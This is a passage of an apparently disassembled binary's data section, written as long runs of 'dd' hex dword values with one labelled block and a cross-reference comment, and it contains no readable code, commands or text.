		dd 0E981D7E2h, 29012008h, 271B4C4Ch, 559238BFh,	0A2C69552h
		dd 5D195AF0h, 6630D589h, 8AD504h, 0DE42A32Fh, 0FD4F8946h
		dd 0ED02708Bh, 1DA91855h, 7133251h, 0AA183EA8h,	74E9B4D0h
		dd 0BC598A5Ah, 773BDB0Eh, 35AFB304h, 575DBC03h,	0F258A0BFh
		dd 4FB27C09h, 725E6FDDh, 2F3023CDh, 39F441C2h, 2D39E74h
		dd 0E92D70BFh, 0E7B558FAh, 7578276Ch, 607459B7h, 1F7C2EDCh
		dd 21746DB0h, 0BE1CD430h, 165D1154h, 4A50E918h,	626B5F65h
		dd 41B064C8h, 0CB9917A8h, 9360C0Eh, 5C47DD08h, 0C23C5C25h
		dd 18724999h, 0A938665Ah, 0FF027E9h, 5A72CE5Eh,	0E11BE061h
		dd 0F417296Eh, 63D01C2Ah, 0CB91979Eh, 5902477Bh, 454BD17Dh
		dd 3E0BF106h, 98F99E9Ch, 0FA2257Fh, 0BFF2B0D7h,	267B7E6h
		dd 19A15693h, 4B926930h, 9EFC87h, 0F84EAB17h, 221B951h
		dd 29253354h, 0DFE259CBh, 2F0BA708h, 34EBF9C0h,	252E2A34h
		dd 2BB13BFCh, 0A50103EFh, 3BBFEE01h, 92602C8Fh,	0D35A0E22h
		dd 0BBCBE916h, 10C0F09Bh, 0A1B50118h, 0C9685C53h, 0B5B866E6h
		dd 9508D378h, 2C748140h, 0F0E500D9h, 0E960262Eh, 4C762549h
		dd 0E6392543h, 85B45A79h, 0A3DAA884h, 7EF4FA50h, 0E6C006AFh
		dd 801F0703h, 69939EEEh, 0A9B521C3h, 886EE828h,	0A040DF91h
		dd 759502BDh, 0EF313512h, 31B3725Fh, 0F285C9DAh, 6896345Eh
		dd 3075082Dh, 2D322AF3h, 0FF6C4A5Ch, 614FE935h,	7CBC2501h
		dd 3130322Ch, 0E42069Dh, 68EA2950h, 0F61AE835h,	81DC85EAh
		dd 0E6059C7Eh, 7BF63209h, 40720831h, 4DD5F702h,	0A5C9E081h
		dd 0ECE85F68h, 1396245Eh, 790C143Ch, 5E50C0EEh,	4AE6C158h
		dd 51DF2808h, 31FCD1A0h, 0E90F9F04h, 0DCC84509h, 31725BE2h
		dd 38CB6087h, 0CFEEF5DEh, 2ABB4FE6h, 260642CEh,	0D8CCC956h
		dd 347F2EE9h, 4BEA50h, 7E9E269Fh, 0CA40E2E9h, 0FF55505Dh
		dd 7ED9B21Dh, 35E733E6h, 52F2D099h, 0C4DFCE4Ah,	4F76A815h
		dd 9F31ECEh, 0BFD966FDh, 8001B00Bh, 5B275B76h, 0FCCF1477h
		dd 0A730AA92h, 1860AAF1h, 0E41452Bh, 523929BAh,	0C4BCCA07h
		dd 3A808D8Dh, 0FBF5E4B8h, 34E9C02Ch, 0BA129816h, 0B05075C0h
		dd 0C8FE39D7h, 3004C037h, 230C03E0h, 4E4DE93Bh,	5819B849h
		dd 44799588h, 3E13DF4Fh, 45EF0590h, 81440497h, 0C77C5FE2h
		dd 0B6CA60F6h, 0D0A5A06h, 0D5D7D3E9h, 69425652h, 202B4CF5h
		dd 6815E456h, 3C672AD6h, 4AF8252h, 0E05A4A06h, 168BBFD1h
		dd 0E479566h, 6ACC8517h, 9C400DC8h, 0AAF34C01h,	0D5DFD75Ah
		dd 81EF40C0h, 0C32E04CBh, 0F3003E76h, 6E580C7Ch, 5EE9D889h
		dd 10316F2h, 81708324h,	0F6E03F7Ah, 595E7508h, 1190A15Ch
		dd 15D99060h, 0E91908D3h, 0AC442A35h, 99620260h, 0C2A04Fh
		dd 30F9B13Fh, 8D2C58C1h, 4C8281Dh, 0DFEB0A26h, 68A9D0A0h
		dd 2BE118E6h, 52B273ECh, 29FA11DFh, 6B255620h, 0C6C87E39h
		dd 58808FD9h, 0B880B053h
		dd 32719DE2h, 77EEE345h, 7C80B269h, 0EE81725Ch,	0D0A3A65Ch
		dd 0FCF3E16Ah, 1A91B734h, 120E7D0Eh, 22AD89BEh,	37E9C31Ah
		dd 0BD104FD2h, 0F95A8B65h, 0BDBA6288h, 0C8F3DB6Ah, 0CEEB5812h
		dd 0C36816E5h, 9D3C4198h, 4562670Bh, 6A13AD8h, 0FBCB552Fh
		dd 0A2D17041h, 342A88FAh, 3CE7FBDEh, 2BF581CDh,	6FD4A1F4h
		dd 63AA1483h, 1DDEA7C2h, 80F15227h, 0A02254B7h,	65AA0DAh
		dd 3CE92F70h, 50002C0Eh, 2645E1B8h, 73D0D5Ch, 519D13Eh
		dd 1F082210h, 401E5D74h, 71DEE47h, 0E932C0A9h, 1AA3B43Fh
		dd 0E7C12A66h, 4C6328C4h, 54EA27ADh, 0E15466C2h, 0CFC5E938h
		dd 7A7FD5F2h, 8662FD6h,	0F3EADD22h, 0A25C77A4h,	0A4F493ECh
		dd 4FAB4C50h, 1CB6AAA4h, 5615E90Bh, 2EAC1475h, 0E2A059CAh
		dd 0BA772C37h, 0A07DC4BAh, 0FB270A0h, 58C23052h, 0F4E5AA9Bh
		dd 0FEC5FB7Ah, 8AE6F5E8h, 6792FFD3h, 2DCFFD79h,	9B13142Fh
		dd 1C7389ADh, 0D856C449h, 50900D50h, 20ABEF1Dh,	0F7013146h
		dd 2F08845Ah, 0DCC294E9h, 36B4DF02h, 0C0A88009h, 1757874Dh
		dd 103EBC1h, 4B648AC8h,	0E9222016h, 0EADDB974h,	9243D3CFh
		dd 0D1892D20h, 1CE259Fh, 5719675h, 821851C2h, 10B91229h
		dd 444F0857h, 0BCD1532Fh, 81CC00Fh, 58134DFh, 0CCD325EAh
		dd 0C1C8AB29h, 79CD4801h, 4F11C240h, 0EF6C2416h, 4909D769h
		dd 2AE9F060h, 9B75291h,	88B59C8h, 27FF3CD7h, 0CC4C4568h
		dd 0E9118362h, 0D7EF4AADh, 0ABFE7416h, 0BA04F892h, 3721167Dh
		dd 947EA4B1h, 29E2FB06h, 0FBD0D0B4h, 11402D08h,	858F2CE9h
		dd 9252676Bh, 985FE2DCh, 9C3C0C04h, 6D5F69CAh, 0A26C1269h
		dd 0D0E90935h, 3419F508h, 0B9A124C1h, 0BA1E18E8h, 4383810Eh
		dd 62D5B2Eh, 0A016D89Ch, 4C0B185Fh, 0D5338338h,	87086AACh
		dd 8F8B6BEDh, 1E088373h, 2630CBE9h, 0B085173Fh,	0E1E851AEh
		dd 2ED1F63Ch, 8C0B60CCh, 128C4466h, 0C21C432Bh,	889EB22h
		dd 3CB36900h, 48022183h, 0A4E2FF2Dh, 80247C09h,	941A7FEBh
		dd 0B48312Bh, 0E941B05Ch, 0C5C95227h, 36AF80CFh, 87DD46E6h
		dd 6CFBEF04h, 0C51FF6h,	0BAE413BEh, 0B7F87C29h,	38D195A2h
		dd 8538A78Ah, 28CCE09Fh, 0B8C75167h, 17DF3DCCh,	29899EA5h
		dd 59895C32h, 0FD271D65h, 7FAA0D11h, 99BB7313h,	539130ADh
		dd 2843B709h, 0E0C65FFDh, 4C52C02h, 50FCE914h, 8C5E9547h
		dd 2E08E9ACh, 4153A7C0h, 43F35237h, 31341C1Fh, 8D599EAh
		dd 6AAF7555h, 0D7308589h, 0C8DB4A0Eh, 0C34E30CBh, 0D8928DFDh
		dd 70416D4Dh, 74763140h, 5E1B7BA1h, 53DA0740h, 0AA117555h
		dd 685C5D0Bh, 16299430h, 5C011BC1h, 0BA51B453h,	16D4E7C8h
		dd 0E030BA36h, 0F24191EBh, 0AA60F03Eh, 47975B1Fh, 7FE3DA0Ch
		dd 3FB60BEEh, 538025D3h, 26245995h, 0DF10015Eh,	0E6F4808h
		dd 9F42BC5h, 7ABE804Fh,	122C840Ch, 0C0155AE9h, 796BC397h
		dd 0EA18FC27h, 900809AAh, 805E2B90h, 0F150215Bh, 595E560Bh
		dd 745A5CF7h, 882C84C4h, 5360E254h, 0A440EB84h,	19BB0265h
		dd 19A5BBFh, 0DDDC2975h, 52B473A5h, 57E300EFh, 0FA7A6668h
		dd 0C22C7E7Dh, 51963FB8h, 43BE130h, 85DA9901h, 0BA286B6Fh
		dd 66EE2941h, 0F2D87533h, 5BD2125Ah, 0FFC900B2h, 4851CF3Eh
		dd 1901E918h, 2768E043h, 545B30C7h, 0B7ECE904h,	0CFAB4618h
		dd 2B5802Fh, 4882749Bh,	2553FF8Bh, 0C44402FCh, 8B8D959Fh
		dd 0D4290AE9h, 0C311B85Dh, 0AA010E55h, 11D22958h, 0D3040807h
		dd 0D01602E9h, 0EE7585E7h, 0D2F76016h, 13F65501h, 0B06B5E1Eh
		dd 5695C83Dh, 0B0DF6533h, 299E591Ah, 5D38B902h,	8B6DC18Ah
		dd 501C03EBh, 0AD0CB768h, 0D4EDFE18h, 0F20E2DA3h, 43EEB4Ah
		dd 14E44F20h, 1D13127Eh, 0F65D154Ah, 0E0316209h, 0CBAE8529h
		dd 7C805327h, 448B7270h, 0FF27837Eh, 0BBFEF649h, 411D3CCCh
		dd 0F601BD62h, 8946EECDh, 0FFA5F4CBh, 0B82274B5h, 0DD5B5DF9h
		dd 1E0FB84Eh, 2597D5F7h, 882B15A1h, 0F031292Ah,	0FB7AC696h
		dd 0EF820404h, 0DCA78802h, 39A04D12h, 0DD5341BAh, 4EB1DE9h
		dd 8DC4CABCh, 8C65D944h, 49FD1354h, 370E12E5h, 1C00BBCAh
		dd 4A88FFBCh, 0E9EB1289h, 2E67F1A0h, 758E5390h,	0FA7F4B5Dh
		dd 3B93AB01h, 0B62B2533h, 4BA4B1Bh, 0A9C05125h,	0D72034FAh
		dd 868BF02h, 0B760C634h, 0BB09F770h, 77AE7Eh, 217A4704h
		dd 8A589F54h, 868A314Eh, 43AEE90Eh, 0A3CDAE13h,	0DDC4837Bh
		dd 9A3DBFBDh, 702EDAF5h, 22C7F292h, 0F229B028h,	9F4D4209h
		dd 0D982000Dh, 0B75A4114h, 809F96Ah, 2991D9E5h,	0B4C05C25h
		dd 0C1123561h, 974F010Ch, 0A0907255h, 64573D7Ah, 0A573367Fh
		dd 0B27282E3h, 41427D06h, 3EA5C714h, 29911280h,	810212BBh
		dd 6E6685CAh, 0E2CBA14Ah, 2E717D5Ch, 46249B47h,	1402BD0Eh
		dd 88850BEDh, 0CEBCA86Ah, 59EE0574h, 0CB7B43A1h, 3FE909CFh
		dd 790A64F3h, 0E212D5Ah, 0EE50FCD6h, 7A796408h,	0B2FEE086h
		dd 0CA80E100h, 0FEDAF6C7h, 17CE97C2h, 4C72A5B5h, 815F30BFh
		dd 751632CEh, 2E00E64h,	7DEE3046h, 2B5AE10Ch, 5A29B92Dh
		dd 12DF0E89h, 0C9AB2678h, 4E6826C0h, 0D0EE184Ch, 675F08B4h
		dd 0E14F173Bh, 29607BFDh, 0B55FCD68h, 0ECAF71D1h, 1CFC3228h
		dd 8282D6A5h, 0C4245B42h, 68AEF416h, 535DAC2Dh,	0A0E68A12h
		dd 0F321C999h, 24CA5E60h, 2C12D174h, 910118F9h,	369F2B19h
		dd 51AB073Eh, 87DEF989h, 0EB563A8Ah, 0C01CC881h, 0AA6C0120h
		dd 6037F500h, 0CD873D3Eh, 0E406416Ah, 6EE6AD00h, 5B77E949h
		dd 5BCA90E4h, 165A2959h, 2DF92DE1h, 0F7FF406Ah,	48EE0F4Fh
		dd 3B1A5762h, 6B010723h, 6925C565h, 203EDF46h, 0E4E0506h
		dd 4B3E832Dh, 0EDB1E557h, 0A454A26Ah, 0E9C4F5A3h, 7FAFB1ACh
		dd 0ACF97E12h, 4F5CD505h, 11CC541Ch, 0C505C11Fh, 0ABF231C3h
		dd 54A9AA2Ch, 7A574679h, 10280953h, 9DFC6F70h, 0A449CE01h
		dd 0E660D15Dh, 9FF17061h, 656F7DF4h, 0E49041CAh, 1C5BFE08h
		dd 0C94DE680h, 1DDC3EEh, 0F319E971h, 1D5DAA48h,	8161AB75h
		dd 2B091DE7h, 84F43E03h, 97961222h, 0F0E1C524h,	212F3F3Fh
		dd 597E6A01h, 48344B5h,	2FA088E9h, 0A925015Ah, 0F77CCF0Dh
		dd 3EE471D8h, 0EAED4720h, 142E1376h, 0F4134Dh, 0E94E5D0Dh
		dd 48BD3812h, 280AADC3h, 9AC34FCh, 710B2132h, 1A482B80h
		dd 90980503h, 922CFD0Bh, 35460466h, 1795BE00h, 899C619Ah
		dd 0D7412116h, 6432A0BAh, 1E84E02Bh, 34390E04h,	810D329h
		dd 2577A948h, 5B720BE9h, 6DC5CE05h, 1FAB54EDh, 0E1248D5Ah
		dd 1AA682CBh, 5F37C47Eh, 10F35BA4h, 0C5F9420Bh,	0A64040E9h
		dd 0D84D88BEh, 0E6810206h, 429968C3h, 2557827Fh, 2550BEEh
		dd 71204AA5h, 1B4787A2h, 6475C946h, 4D29042h, 783E6A0Fh
		dd 0EAC0C229h, 0FE5B0884h, 0E04A0482h, 828D912Bh, 0D018CD6h
		dd 52B62204h, 9935D443h, 65308226h, 4B6BE5ACh, 0AEC61963h
		dd 5558F800h, 0F7EBBD39h, 1F51BC9Eh, 70198ADAh,	7CAE00F0h
		dd 0F5017BD5h, 38E9533Fh, 74BB4B4Bh, 8390E9D4h,	108465E9h
		dd 7A225E75h, 10F8212h,	2F58D9FAh, 8F187B46h, 21829F9Dh
		dd 8566A80Ah, 9A68660Bh, 21E6A2Ah, 0F48A380h, 24FDCEFh
		dd 0F4398F24h, 9D0FB4C2h, 8552F1C1h, 0E9393F8h,	7BF79356h
		dd 2C472578h, 2088A2D9h, 0AA571225h, 0BFB03A6Ch, 48B90A00h
		dd 58502622h, 4917D7B2h, 0CF0176C7h, 4CFF417Eh,	0BDC438ECh
		dd 0E80CF4DBh, 9E8E4929h
		dd 0BB5F120Ch, 0DC1076DEh, 1C0D50D8h, 4167721Ah, 0A492DC0Ch
		dd 0EA0E08E0h, 0A079D02Dh, 1980CACEh, 2C12493Dh, 0E132C865h
		dd 5DCB89B7h, 0D02757C6h, 78B3F422h, 6925E95Bh,	734CD686h
		dd 809DF9F1h, 4212B80Ah, 7487863h, 2A1D350Dh, 2B664022h
		dd 0F2972D17h, 0B2C330EFh, 1FB8BF30h, 315EDB7Ah, 908738F4h
		dd 0A6982599h, 212D9AC4h, 0C97A76D0h, 0BF88BD74h, 429E2841h
		dd 0BAEB021Ch, 600F3B57h, 27178307h, 3CA83ECBh,	2D8B2C08h
		dd 0A9B22BEBh, 7F0514E8h, 747D0F98h, 72DD828h, 6D13E8F8h
		dd 0CAAB68AFh, 0F0D95B2Fh, 0E84DFF42h, 4A45E913h, 0EA6BD9FDh
		dd 5A0399D5h, 0F3A6406Bh, 0D3160D3h, 0C1E75759h, 33319F5h
		dd 2CD72160h, 274B5FF3h, 7B5D32FDh, 66D1AF1Ah, 8DBDC5Ah
		dd 5F1969D6h, 0FDFE5BF6h, 0E1258E14h, 17AE45C4h, 76BBE2EEh
		dd 495A1207h, 7C5C114h,	27159980h, 0C5F63F4h, 92950D29h
		dd 0BB183394h, 7293A07Dh, 5110B056h, 803B6301h,	0CE9F34Dh
		dd 0FBFED40h, 60FD6E97h, 0B370894Bh, 2BC3801Ch,	0E895EBC9h
		dd 4127684Eh, 3A916170h, 69F759D0h, 391E3A73h, 1A6F8DFh
		dd 38132184h, 0E447E3C1h, 67758F30h, 30E9273Ah,	30E0EF49h
		dd 0FC539836h, 39AA4ADDh, 0AE912014h, 0C3200C41h, 4D112C0Dh
		dd 0C7050299h, 9089192Bh, 888780DDh, 5A4129B8h,	0DE008189h
		dd 0D183205Bh, 79A8EE50h, 1C4E0704h, 0F600E6C1h, 119529B0h
		dd 225D0295h, 555E0214h, 2E2EC5Dh, 44BF0ED8h, 5FD803E9h
		dd 0D692CB7h, 0BDD75E01h, 0D809939Ch, 5055B1BBh, 966043E8h
		dd 5F138228h, 6B7D5ECAh, 0BF08794h, 5F8DE96Ah, 0BAEC5489h
		dd 0B021D18h, 6ED312CDh, 64ECC404h, 1C61F140h, 0E1EC1956h
		dd 89261AF8h, 6203A239h, 5495D1Dh, 0AAFCFE0Ch, 59BE0BC7h
		dd 4D5E63D0h, 859C35ECh, 0BC915446h, 86832A28h,	6A3A5765h
		dd 1FA1D4ECh, 84F66F49h, 4A37A810h, 4C4C21DEh, 78954320h
		dd 28201D27h, 0EE2C8BD7h, 0F3E18255h, 581BB25Bh, 5107C9DBh
		dd 0D1F7B4A3h, 68590B04h, 83981E45h, 0B7FF16FBh, 4312FAEEh
		dd 510008A3h, 1F559168h, 88A05957h, 982B4A1h, 20C4ECC6h
		dd 58486557h, 0CEFEE0F8h, 0A8B70053h
dword_4F0044	dd 0F65DC780h, 2A14E9DFh, 0C38D0120h, 1002CB68h, 0B6DE651h
					; DATA XREF: ___:004385A4o
		dd 0A2F3875Dh, 56085C69h, 536FEFD3h, 0C2D6E813h, 4588EAB2h
		dd 0EF800134h, 0BACF28C6h, 50598182h, 290C6DB0h, 8E3C1C2Eh
		dd 0CB1F442Ch, 6A553058h, 62A2791Eh, 0F709D58Fh, 2107DFC1h
		dd 0B9420EDh, 0C764792Ch, 3AADCE01h, 43301E7Bh,	2E362C13h
		dd 0B31815AAh, 1BF6BB02h, 81DF3A8Bh, 6A037D0h, 29730C82h
		dd 0CE6018B9h, 985E7074h, 683C4900h, 42890ED9h,	0E951C3DFh
		dd 92CD9DC0h, 914F71E0h, 0C15A4411h, 6BD90A16h,	7505B9Ch
		dd 8724E7B8h, 0A9EFC460h, 0F3A85B1Bh, 0E3F2D817h, 0D9B84ED9h
		dd 4088627h, 6C685893h,	28551218h, 0B208E931h, 15B02CB0h
		dd 807E2649h, 0D714BAB9h, 871D4940h, 96BFF7F9h,	0FD314EAFh
		dd 302EF368h, 3481E9BAh, 808770B1h, 93D41EF1h, 167459B8h
		dd 929E32E9h, 0BAA9542Dh, 0EF97E8FDh, 0D4275177h, 3AB8D9DBh
		dd 9FD74D70h, 85842664h, 93BFC0BCh, 4B20A4F6h, 4E98FF94h
		dd 2695B185h, 38C84B83h, 4EF20481h, 0FE0CB44Bh,	96C98C02h
		dd 9731D090h, 0FCDC0A9Ah, 66CA8026h, 0E9FEB681h, 57C2663Bh
		dd 8C64EDD9h, 559BC93h,	342CFA50h, 0C584EE49h, 589DE201h
		dd 0AB30202Bh, 6BD04125h, 0AC971E8h, 5575462h, 13EFA069h
		dd 0AD8BEA5Bh, 24DA232Ah, 2A2F2B88h, 10E09D22h,	10B5019Ch
		dd 1791145Bh, 956526Fh,	8DDCF973h, 1FEAFE64h, 0C5CF57BAh
		dd 9BD0FA0Bh, 0E88AF1C2h, 967EFC21h, 0DD310992h, 5C70A176h
		dd 0BC818235h, 640339F2h, 77167A57h, 6601677Eh,	79F10A61h
		dd 0CF4D3730h, 812012Eh, 6228F046h, 199C7279h, 4C253482h
		dd 0FB08574Fh, 0BC7F25B9h, 0BCC4BF40h, 5DE95E18h, 57875867h
		dd 3E73E73Ch, 0ACCB52DAh, 0CBBBA448h, 56661545h, 0DC522DEDh
		dd 0DBF60FE7h, 85507786h, 4E9EC103h, 0B70158FCh, 7508D48Fh
		dd 0C4D35625h, 0BF67B03Ch, 4CEBC680h, 22986B31h, 11C3A880h
		dd 28E14709h, 8554229h,	273DEA08h, 50C60906h, 6199358Bh
		dd 0BB2806F5h, 0C85EAD41h, 0B7B94A9h, 37A548BDh, 14268902h
		dd 95A5D06h, 54066BF3h,	17A9A0Dh, 2AD4E908h, 0DAF69600h
		dd 907EAC0h, 0D2C6866h,	0D4881A10h, 25C4FE3Ah, 0B625CE2h
		dd 0C289EEEAh, 0C5D38285h, 186004C4h, 82ED1E23h, 0B3DA298h
		dd 0BF01CDFCh, 534408A7h, 2539C7FDh, 8048E917h,	1E1C68F7h
		dd 27621B3Dh, 0F393A079h, 5B583309h, 167A051h, 60AA8F97h
		dd 5A21FE2Eh, 46ED5883h, 12683327h, 199D423Ch, 403A442Fh
		dd 21D1C162h, 0CBE6322Dh, 8D550CFAh, 0AFF62BAAh, 33E1607Eh
		dd 0CAA1E4F5h, 0DCA39C50h, 40372D16h, 8041DF5h,	0EE9365F2h
		dd 16FEF965h, 0A95EFC02h, 0E7161E32h, 24888925h, 0C19F3ACBh
		dd 0C56F58E1h, 8103053Eh, 2B63A5BAh, 0F2847DC0h, 0ECEF60BFh
		dd 48AE2847h, 0FA2BB90h, 88AB080Eh, 177E83A9h, 0B72FD278h
		dd 0C44F8AF1h, 64AA65B9h, 4C0AD7ADh, 42BD0225h,	27E5F2E2h
		dd 67C8D17Ah, 29306DAEh, 272F0C0Ah, 1D799F4Dh, 9634E503h
		dd 708BAF35h, 0BAF2BD3Ah, 55435960h, 0F7C2168h,	455D730Ch
		dd 0FCC93DA4h, 8398E5E8h, 7D8A2C68h, 196BCB8Dh,	5BC5FA00h
		dd 0E94DC247h, 0ADF297B7h, 0E709BEB0h, 0F067F95Ah, 9B1B6CAh
		dd 7907FD88h, 0B551B3EAh, 80C5FEF8h, 286E70E4h,	8793DF16h
		dd 81FEDC12h, 3ADBE9C6h, 90BFE416h, 0F94E56B0h,	0D3C2A8DFh
		dd 8061917Eh, 0DA30ADC3h, 0BAA9890h, 199C795Ch,	7FCC6680h
		dd 7395068Eh, 8BE909CFh, 1A25267Eh, 31CA03E1h, 0EA0630D5h
		dd 0D974E90Dh, 488F1BFh, 0FE1EAC35h, 15C52791h,	7A093434h
		dd 236F3FC2h, 4E5C9F62h, 57D977E3h, 0AC2074E7h,	44D8F62Ah
		dd 8A782864h, 0F7340CA3h, 4AF19160h, 6ECC24ECh,	5C25465Eh
		dd 0F2638DB5h, 0E30B4285h, 53F14071h, 5B76BB42h, 28E6CD5Dh
		dd 90D11008h, 1E79E040h, 0C9678771h, 0CC7E18FAh, 0F627959Ch
		dd 356071DDh, 28AAE4AFh, 4AA6C24Fh, 5AD30179h, 0FFE9D830h
		dd 0A7536E0Fh, 0D6F61D17h, 0F058C713h, 192FE95Fh, 0C24C6E96h
		dd 0AE8C1B1h, 0A4584075h, 2BF08651h, 0D726305Ah, 0F5E92A87h
		dd 8002A289h, 847BC20Ah, 9FA906Bh, 685F20C9h, 1A78038Ch
		dd 310E1794h, 0F0B1EBF9h, 0E1D02770h, 4627FB7Ch, 60E59FCAh
		dd 5F4BA616h, 25E77956h, 7D255BF1h, 9A4CEE92h, 90A4397h
		dd 7146D212h, 63E72001h, 791FED4Bh, 6B8074Eh, 0FA8B77CCh
		dd 8C421844h, 873D1C13h, 4B8B2932h, 50905E51h, 0CF4A52E9h
		dd 0F093B6E8h, 3F18DEB7h, 5B0C2CE3h, 1D252556h,	0FA2DC661h
		dd 0C0F63F69h, 117B3D35h, 0B0C2A32Ah, 0E154EA77h, 0CA4801BFh
		dd 77C04FD6h, 1210055Ah, 0A8586046h, 2014D493h,	0DEB209D0h
		dd 30FFD388h, 1CB1512Eh, 3AB617h, 0F33059CEh, 0CB2C805Ah
		dd 1169399h, 28129B1Fh,	0E0C50924h, 0B05F53A0h,	3EC909Ah
		dd 375D28B8h, 66D00D5Bh, 0E0FC4291h, 0F684064Fh, 929D0298h
		dd 0ADBA055Ch, 0C07DF470h, 0C1B9F0E5h, 78BC824Bh, 506013Ch
		dd 34B62A9Dh, 48D9A820h, 0E400AAADh, 4B269363h,	9E02BD55h
		dd 31077975h, 875182EBh, 0CCCC55FEh, 82092490h,	556E651Eh
		dd 809AC42h, 0FF0C1655h, 0D407C2EAh, 33B70E12h,	0E80D7BE4h
		dd 3ABCA4E1h, 3A188FCDh, 249B98A8h, 7AD506C2h, 39DB80BEh
		dd 956D95A2h, 9703E905h, 79640697h, 3FD72C4Ah, 946B3012h
		dd 2138C3BAh, 3C8B6D13h, 0C9D689A9h, 8771217Ah,	2630BD65h
		dd 0F5FC68E4h, 977CD909h, 7FC9B456h, 5401A8C7h,	1012685Ah
		dd 0DAE0C46Ch, 0FF6035E9h, 6A9EB90Eh, 48214965h, 5EF5B0C5h
		dd 23F3092Ch, 1C3DF873h, 0D5279C0Ah, 84FE2696h,	40482192h
		dd 55061E2Fh, 51E65189h, 0FA5C12A0h, 0CD9134D1h, 79B6F37Bh
		dd 58AEC626h, 0C0B5B6Bh, 0CECDF111h, 0F960AFEEh, 43F4C589h
		dd 0C14B4B3Ah, 1A03D2Fh, 0A4DD5B5Ah, 9C006A44h,	0B002BA35h
		dd 7B050445h, 8046786Ch, 992D0787h, 0C94AB279h,	332497B1h
		dd 5BF200EFh, 0E9526957h, 0F1CEEE54h, 5F86E5F3h, 0F1EB5A93h
		dd 57C0943h, 0FCF14C4h,	0E16DC95Eh, 0BE70B1D5h,	9D1C70CEh
		dd 546BD6D4h, 7B020B9Ah, 7397C06Ch, 0EF6C15BFh,	562F683Fh
		dd 312D9146h, 0C91E7DE4h, 135FC4B0h, 984C9B9h, 0EEC103DFh
		dd 0E81DC202h, 73355B81h, 60362CCAh, 85D4B941h,	0CF041321h
		dd 2D44BD7Ah, 88C1EAB9h, 4D080B50h, 0BBAC1696h,	0E818688Ah
		dd 0CC930BC7h, 0CBFE80D2h, 52FC5B98h, 47D13E16h, 8396B7D1h
		dd 3402DDEFh, 85FE5EBAh, 1AE56BBh, 0C1A969BDh, 973460E3h
		dd 62C4AF9Fh, 0F428A48Ch, 3F5D2496h, 1385CDAAh,	97BB59h
		dd 0EB81D335h, 39EC16EAh, 0FE12C3ECh, 0E105F370h, 9C60447Ch
		dd 5EA16852h, 0C43D8C3Fh, 0D5B21E4Ah, 0EDA7484h, 296A8EBBh
		dd 0FAB25058h, 29D29A7Dh, 88CC768h, 81000727h, 0BA5F3CCBh
		dd 673AF64Ah, 0CCFC2106h, 0D55E88FAh, 19C6CA81h, 2B5A9D6Fh
		dd 8FBA5885h, 23AB4FC8h, 5140D452h, 5E404862h, 9D503BEh
		dd 0EF683E85h, 0C724FD7Fh, 73A6BD3Ah, 0B0DF3809h, 80B2F413h
		dd 53F4EE80h, 78F3882Fh, 665A2C89h, 16B01C63h, 0EE3885CBh
		dd 582833D8h, 0B02666E3h, 517F5AF5h, 6F561845h,	6E566C68h
		dd 532C16BFh, 0FEE89B91h, 815DEC3Ah, 0EFF00CE1h, 92C1D2F4h
		dd 9753EC6Fh, 97682160h, 0B3E31D64h, 8A2ECDF1h,	0E921C5BCh
		dd 944DE82h, 0F3041CFEh, 77C15E6Bh, 5EA50A61h, 0B0103677h
		dd 20595CD7h, 7FA0D32Fh
		dd 4696089Ah, 0A4403498h, 0A5215A59h, 4CFB2876h, 767A04ABh
		dd 4DBB4020h, 7A117E25h, 98E20717h, 0A050496h, 0EE7CFB53h
		dd 0B8FC5B73h, 67F4F7CBh, 9F2A3E4h, 343A6AA2h, 829AB702h
		dd 0CB2DFEFAh, 0D72AAA59h, 6B415516h, 76853D4Fh, 0AEF1022Eh
		dd 1402FB05h, 0A35205E1h, 49B301BCh, 6602E3C0h,	0E90240F6h
		dd 9A1BC8Ch, 1CFDF101h,	5092B706h, 82B44742h, 0D940FBB0h
		dd 359A03BBh, 434B5326h, 698D078Dh, 0E9ACF3CAh,	2D857FE3h
		dd 0F7D8BFE3h, 0B5BD92h, 8706FDA5h, 28594B2Dh, 34E0E942h
		dd 0BED9BBCFh, 0F853D102h, 0C5417D58h, 865CCE9Eh, 0AC2A0151h
		dd 0FEE9E0C8h, 2C47935Eh, 0E8774964h, 0B552DA34h, 52AEFA1h
		dd 8D8B2E01h, 693DBB0Fh, 19D45BEBh, 7C744D05h, 0EBC7C0EBh
		dd 374BB176h, 0FC1C45E9h, 8945C51Fh, 0BB7BC7DEh, 7E2F3E71h
		dd 0E1492C3Dh, 2A1D4AE9h, 750406A6h, 0EA11760Dh, 95581A2Ch
		dd 0E4F58B0h, 0E97BAB04h, 4A90DA17h, 2E2FB3E1h,	10543DC6h
		dd 565D27AEh, 1F8D706Dh, 0E920E604h, 32AA589Dh,	55F8FCBAh
		dd 0C2D9F6B5h, 3104C94Ch, 4F57A4AEh, 29DE790h, 57D321DCh
		dd 0D6AF4E59h, 9C5997B9h, 3D1775BDh, 8100447Fh,	1F6E2505h
		dd 0E9393A70h, 0EE26A135h, 7EDD0990h, 0C25602Bh, 0ADBBC0EDh
		dd 85EEE925h, 3DAE66B2h, 78E482D8h, 600F3570h, 6937E976h
		dd 55FD813h, 5EA8E7AFh,	8AFA091Fh, 8B7A1E10h, 0BF04C330h
		dd 0EDBF01E2h, 6330D070h, 149401F7h, 87E95873h,	0D58A2F5Eh
		dd 0C4155A7Ch, 0A8CFFBA0h, 4EEA047Ch, 0FD2A2C79h, 5F084017h
		dd 0A1912798h, 3B8DD088h, 0ACC84B74h, 27ACD25Eh, 0C9120C24h
		dd 0D84D2B7Dh, 12D6E88Bh, 5F517B26h, 644F00C3h,	685B565Fh
		dd 179CEFDh, 13F94788h,	5676A85Ah, 68550237h, 0D8B00B5Fh
		dd 5BED056Fh, 0C75740CDh, 60395D40h, 0E07F411h,	6851207Dh
		dd 1B6D4D81h, 3DE9FF40h, 0E0535E46h, 4B1B2B76h,	0F2657E6Eh
		dd 9E0C50BAh, 4777528Dh, 62F236FEh, 5594E12h, 78DA18F5h
		dd 2759010h, 7EC86F90h,	23DFE5D1h, 0DA20DC31h, 15047502h
		dd 40D3BB9Ch, 0A920FFC6h, 0BD05BA51h, 459D7ED0h, 8826B112h
		dd 600FDD02h, 5C245346h, 0D61A1CBFh, 0E908011Ch, 586B303Ch
		dd 84A8E00Ch, 1EBD0DBCh, 1F4F3D08h, 418DB401h, 55C1FF08h
		dd 2D402B58h, 82692EC6h, 0C1789F62h, 0D1728690h, 950FB6D6h
		dd 4FB606F1h, 0F9883F30h, 25B2D69Ch, 0B001145Fh, 0E11270B6h
		dd 2CD6213Dh, 0F54AE988h, 0AF4B2BE8h, 99E2761h,	95024724h
